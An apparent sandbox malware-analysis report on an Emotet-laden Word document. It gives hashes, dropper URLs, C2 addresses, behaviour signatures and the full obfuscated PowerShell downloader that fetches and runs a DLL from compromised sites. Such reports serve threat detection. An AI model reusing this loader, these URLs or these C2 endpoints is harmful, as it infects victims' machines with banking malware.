Analysis

  • max time kernel
    143s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    09-03-2021 16:01

General

  • Target

    Archivo-122020-481-4753.doc

  • Size

    201KB

  • MD5

    2a61e1db564efb537635b45b2cbf235d

  • SHA1

    d7f45bcc50c83e6f2920285e4934c931d95ac285

  • SHA256

    ad7ca5a820eee8fa220415696137a31c5a2f50788598d1115bd6bef3bc8a9003

  • SHA512

    dbd92067d1cd829fdea47328bc328a28b9009a203a03adf3274427065d7e9f184814cecb3b132c03c7f4abe727160e50709e19d1d249b020b90576399b2c61fb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://zhongshixingchuang.com/wp-admin/OTm/

exe.dropper

http://www.greaudstudio.com/docs/FGn/

exe.dropper

http://koreankidsedu.com/wp-content/2cQTh/

exe.dropper

http://expeditionquest.com/X/

exe.dropper

https://suriagrofresh.com/serevers/MVDjI/

exe.dropper

http://geoffoglemusic.com/wp-admin/x/

exe.dropper

https://dagranitegiare.com/wp-admin/jCH/

Extracted

Family

emotet

Botnet

Epoch1

C2

184.66.18.83:80

202.187.222.40:80

167.71.148.58:443

211.215.18.93:8080

1.234.65.61:80

80.15.100.37:80

155.186.9.160:80

172.104.169.32:8080

110.39.162.2:443

12.162.84.2:8080

181.136.190.86:80

68.183.190.199:8080

191.223.36.170:80

190.45.24.210:80

81.213.175.132:80

181.120.29.49:80

82.76.111.249:443

177.23.7.151:80

95.76.153.115:80

93.148.247.169:80

rsa_pubkey.plain

Extracted

Family

emotet

Botnet

LEA

C2

80.158.3.161:443

80.158.51.209:8080

80.158.35.51:80

80.158.63.78:443

80.158.53.167:80

80.158.62.194:443

80.158.59.174:8080

80.158.43.136:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Archivo-122020-481-4753.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:800
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAYwBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwACcAKQArACcAawBnACcAKwAnAG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGYANABjAHQAeQBjAD0AKAAoACcASwAnACsAJwBqAG8AJwApACsAJwA0ACcAKwAoACcAYgBtACcAKwAnAGcAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1376
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkAEUAMwBTAHkAIAAgAD0AIABbAFQAWQBQAEUAXQAoACIAewA0AH0AewAzAH0AewAwAH0AewAxAH0AewA1AH0AewAyAH0AIgAtAGYAJwBNAC4ASQBvAC4ARAAnACwAJwBpAFIAZQAnACwAJwBUAE8AUgBZACcALAAnAFMAdABlACcALAAnAHMAeQAnACwAJwBDACcAKQAgADsAIAAgAFMAZQBUAC0ASQBUAEUATQAgAFYAQQBSAEkAYQBiAEwARQA6AGkANwBSAHAAVgB6ACAAIAAoAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADQAfQB7ADIAfQB7ADAAfQB7ADYAfQB7ADMAfQB7ADcAfQB7ADUAfQAiAC0AZgAgACcARQBUAC4AUwBlAFIAVgBpACcALAAnAFMAJwAsACcAVABFAG0ALgBOACcALAAnAEkATgBUACcALAAnAHkAUwAnACwAJwBBAG4AQQBnAEUAcgAnACwAJwBDAGUAUABvACcALAAnAE0AJwApACkAIAAgADsAJABYAHMAZQBqAGoAbwBvAD0AKAAnAE4AJwArACgAJwBhAHYAYwAnACsAJwBsAGcAJwApACsAJwB1ACcAKQA7ACQAUwBsAGYAcgAxAGcAcAA9ACQAUgBwAGIANQA2AHQANAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVQA5AG4AeQBiAGoAcwA7ACQAVwB3AHUAaABjAGYAcwA9ACgAKAAnAFUAXwBtACcAKwAnADQAawAnACkAKwAnAHAAcQAnACkAOwAgACAAKABnAEUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACAAZQAzAHMAWQAgAC0AdgBBAGwAVQBlAE8AbgAgACkAOgA6ACIAQwBSAGUAYQBUAEUARABpAHIAZQBgAGMAYABUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAWQAnACsAJwBiACcAKwAnAHMAUgAnACsAKAAnAGcAMAA2ADQAJwArACcANgByAFkAYgBzACcAKwAnAFEAJwArACcAOQAnACkAKwAoACcAMAB4AG0AJwArACcAcgBxACcAKwAnAFkAYgAnACkAKwAnAHMAJwApACAAIAAtAFIARQBQAGwAYQBDAGUAIAAoACcAWQAnACsAJwBiAHMAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKQA7ACQASwAzADAAOQBxAHcAMQA9ACgAKAAnAFIAcQAnACsAJwByAG0AJwApACsAKAAnAGIAMgAnACsAJwA4ACcAKQApADsAIAAoACAATABzACAAIAB2AGEAcgBpAEEAYgBsAGUAOgBpADcAcgBQAHYAWgAgACkALgB2AGEATABVAGUAOgA6ACIAUwBFAGMAVQByAGkAYABUAFkAcABSAG8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAFQAbABzACcAKwAnADEAJwApACsAJwAyACcAKQA7ACQATgBtAGgAMQB3AG0AZgA9ACgAKAAnAFgAMwBiADYAJwArACcAZwAnACkAKwAnAGEAJwArACcAbwAnACkAOwAkAE8AagB6AF8AdwBhADcAIAA9ACAAKAAnAE0AJwArACgAJwA4AGoAawBsACcAKwAnAHYANAAnACkAKQA7ACQAWABnAHQAdwB6AGcAaAA9ACgAKAAnAEMAYwAnACsAJwBrADAAaAAnACkAKwAnADEANgAnACkAOwAkAFEAcQBhAHkAdQA2AGgAPQAoACcAQgAnACsAKAAnAGUANgAnACsAJwBmACcAKQArACgAJwByACcAKwAnAHcAMAAnACkAKQA7ACQASgBkAGcAegBhADUAbwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFIAZwAwADYANAA2AHIAJwArACcAewAnACsAJwAwAH0AUQA5ADAAJwArACcAeABtAHIAcQB7ACcAKwAnADAAfQAnACkAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABPAGoAegBfAHcAYQA3ACsAKAAoACcALgAnACsAJwBkAGwAJwApACsAJwBsACcAKQA7ACQATgAwADUAcQA1AHQANQA9ACgAJwBPACcAKwAoACcAXwAnACsAJwAzACcAKwAnAGUAMgBwAGYAJwApACkAOwAkAEcAawBoAG0AMQB0AGcAPQBuAGUAVwAtAE8AYgBgAGoAYABFAEMAVAAgAE4AZQBUAC4AVwBFAEIAQwBsAGkAZQBOAHQAOwAkAEoAawBkAHkAcwAwAG8APQAoACgAKAAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AEoAJwArACcAKQAoADMAcwAyACkAJwApACkAKwAoACcAKAAnACsAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQArACgAKAAnACgAegBoACcAKwAnAG8AJwApACkAKwAoACcAbgBnAHMAJwArACcAaAAnACsAJwBpAHgAaQBuAGcAYwAnACsAJwBoAHUAYQAnACkAKwAoACcAbgAnACsAJwBnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAKAAoACcASgApACgAMwBzADIAJwArACcAKQAnACkAKQArACcAKAAnACsAJwB3AHAAJwArACgAJwAtACcAKwAnAGEAZABtAGkAbgBKACcAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoAE8AVABtAEoAJwArACcAKQAoACcAKwAnADMAcwAnACsAJwAyACkAKABAACcAKQApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoASgAnACkAKwAoACgAJwApACcAKwAnACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcASgAnACkAKQArACgAKAAnACkAKAAnACsAJwAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACkAKQArACcAdwAnACsAJwB3ACcAKwAnAHcAJwArACgAJwAuAGcAcgBlACcAKwAnAGEAJwApACsAJwB1ACcAKwAoACcAZABzACcAKwAnAHQAdQAnACkAKwAoACcAZAAnACsAJwBpAG8AJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAJwArACcAKAAzAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKABkACcAKwAnAG8AJwArACcAYwBzACcAKQApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQAnACkAKQArACgAKAAnACgARgBHAG4ASgAnACsAJwApACcAKwAnACgAJwArACcAMwAnACsAJwBzADIAKQAoAEAAaAB0AHQAcAA6AEoAKQAoACcAKQApACsAJwAzACcAKwAnAHMAJwArACgAKAAnADIAKQAoACcAKwAnAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGsAJwArACcAbwAnACkAKQArACcAcgAnACsAKAAnAGUAYQAnACsAJwBuAGsAJwArACcAaQBkACcAKQArACgAJwBzACcAKwAnAGUAZAAnACkAKwAoACcAdQAuAGMAJwArACcAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKwAnADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAcAAtAGMAbwAnACsAJwBuACcAKQApACsAKAAnAHQAZQBuACcAKwAnAHQAJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAMgBjACcAKwAnAFEAJwApACsAKAAoACcAVABoAEoAJwArACcAKQAnACkAKQArACgAKAAnACgAMwAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAJwArACcAMwBzADIAKQAoAEoAJwArACcAKQAnACsAJwAoACcAKQApACsAKAAnADMAcwAnACsAJwAyACcAKQArACcAKQAnACsAJwAoACcAKwAoACcAZQB4AHAAJwArACcAZQBkAGkAJwApACsAJwB0AGkAJwArACcAbwAnACsAKAAnAG4AcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALgBjACcAKwAnAG8AJwArACcAbQBKACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwAzAHMAJwArACcAMgAnACsAJwApACgAWABKACkAKAAnACkAKQArACgAKAAnADMAcwAnACsAJwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAB0AHQAcAAnACsAJwBzADoASgAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACgAJwAzAHMAJwArACcAMgApACcAKwAnACgASgAnACsAJwApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwApACkAKwAoACcAcwB1ACcAKwAnAHIAJwApACsAJwBpACcAKwAoACcAYQBnAHIAJwArACcAbwAnACkAKwAoACcAZgAnACsAJwByAGUAcwAnACsAJwBoAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACgAKAAnAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHMAZQAnACsAJwByAGUAJwApACkAKwAoACgAJwB2AGUAcgBzAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoACcAKwAnAE0AJwApACkAKwAnAFYARAAnACsAJwBqACcAKwAoACgAJwBJAEoAKQAoADMAcwAyACcAKwAnACkAKAAnACsAJwBAACcAKQApACsAKAAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAMgAnACsAKAAoACcAKQAnACsAJwAoAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGcAJwArACcAZQAnACsAJwBvAGYAJwApACkAKwAoACcAZgAnACsAJwBvAGcAJwApACsAJwBsAGUAJwArACgAJwBtAHUAcwAnACsAJwBpAGMAJwArACcALgAnACkAKwAoACgAJwBjAG8AbQBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQApACsAKAAoACcAbQBpACcAKwAnAG4AJwArACcASgApACgAJwApACkAKwAoACgAJwAzAHMAMgApACgAeAAnACsAJwBKACkAKAAzACcAKwAnAHMAMgApACcAKwAnACgAJwApACkAKwAnAEAAJwArACgAJwBoACcAKwAnAHQAdABwACcAKQArACgAKAAnAHMAOgBKACkAKAAnACsAJwAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAKQAoACcAKQApACsAKAAnAGQAJwArACcAYQBnACcAKQArACgAJwByACcAKwAnAGEAbgBpACcAKQArACcAdAAnACsAKAAnAGUAZwBpAGEAcgBlACcAKwAnAC4AYwBvACcAKwAnAG0ASgAnACkAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAJwAoACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtAGkAbgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACcAMwAnACsAJwBzACcAKwAnADIAJwArACgAKAAnACkAJwArACcAKABqAEMASABKACcAKwAnACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQApACkALgAiAFIAZQBQAGwAYQBgAEMAZQAiACgAKAAoACgAKAAnAEoAKQAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBgAFAAbABpAFQAIgAoACQAQgBpAHkANwB2AGYAegAgACsAIAAkAFMAbABmAHIAMQBnAHAAIAArACAAJABaADcAdgB1AGwAYwB2ACkAOwAkAEQAbQBxAGkAOABwAGkAPQAoACcAUAAnACsAKAAnAGoAZAB1ACcAKwAnAGQAYwA5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAHAANQBrAG4AcgB5ACAAaQBuACAAJABKAGsAZAB5AHMAMABvACAAfAAgAFMAYABPAFIAdAAtAGAAbwBCAEoAYABFAGAAQwB0ACAAewBnAGAARQBUAC0AcgBgAEEAbgBgAEQATwBtAH0AKQB7AHQAcgB5AHsAJABHAGsAaABtADEAdABnAC4AIgBEAE8AdwBuAGwAbwBgAEEAYABEAGYASQBMAEUAIgAoACQAWgBwADUAawBuAHIAeQAsACAAJABKAGQAZwB6AGEANQBvACkAOwAkAFoAZABjAGoAMABjAG4APQAoACcASAAnACsAKAAnADMAJwArACcAcQAwADkAawAnACkAKwAnAHEAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEoAZABnAHoAYQA1AG8AKQAuACIATABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAOQA4ADgANwApACAAewAmACgAJwByACcAKwAnAHUAbgAnACsAJwBkAGwAbAAzADIAJwApACAAJABKAGQAZwB6AGEANQBvACwAJwAjADEAJwAuACIAVABPAHMAYABUAGAAUgBpAG4ARwAiACgAKQA7ACQASABhAG8AMAA4ADYAeQA9ACgAJwBPAGsAJwArACcAbQBiACcAKwAoACcAZQAwACcAKwAnADgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkAdgBpAF8AbQB0AGIAPQAoACgAJwBCADAAJwArACcAZgAwAC